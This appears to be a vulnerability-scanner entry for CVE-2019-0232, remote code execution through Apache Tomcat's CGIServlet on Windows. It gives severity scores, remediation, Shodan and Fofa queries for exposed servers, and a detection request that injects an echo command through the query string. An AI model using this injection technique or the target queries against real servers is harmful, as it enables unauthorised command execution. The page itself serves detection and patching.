| Title | Apache Tomcat `CGIServlet` enableCmdLineArguments - Remote Code Execution |
|---|---|
| Author | DhiyaneshDk |
| Severity | High |
| Impact | Attackers can execute arbitrary system commands on Windows systems when CGI Servlet is enabled with enableCmdLineArguments, leading to complete server compromise. |
| Remediation | Upgrade to Tomcat 9.0.18, 8.5.40, 7.0.94 or later, and ensure enableCmdLineArguments is disabled. |
| CVSS Score | 8.1 |
| EPSS Score | 0.94225 |
| CVE ID | CVE-2019-0232 |
| CWE ID | CWE-78 |
| Shodan Query | http.html:"apache tomcat"http.title:"apache tomcat"http.html:"jk status manager"cpe:"cpe:2.3:a:apache:tomcat" |
| Fofa Query | body="jk status manager"body="apache tomcat"title="apache tomcat" |
| Tags | cve cve2019 packetstorm seclists apache tomcat vkev vuln |
When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange’s blog (https-//codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https-//web.archive.org/web/20161228144344/https-//blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/).
GET /?echo+RaNpEumSCP HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/117.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-0232.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-0232.pcap
N/AN/A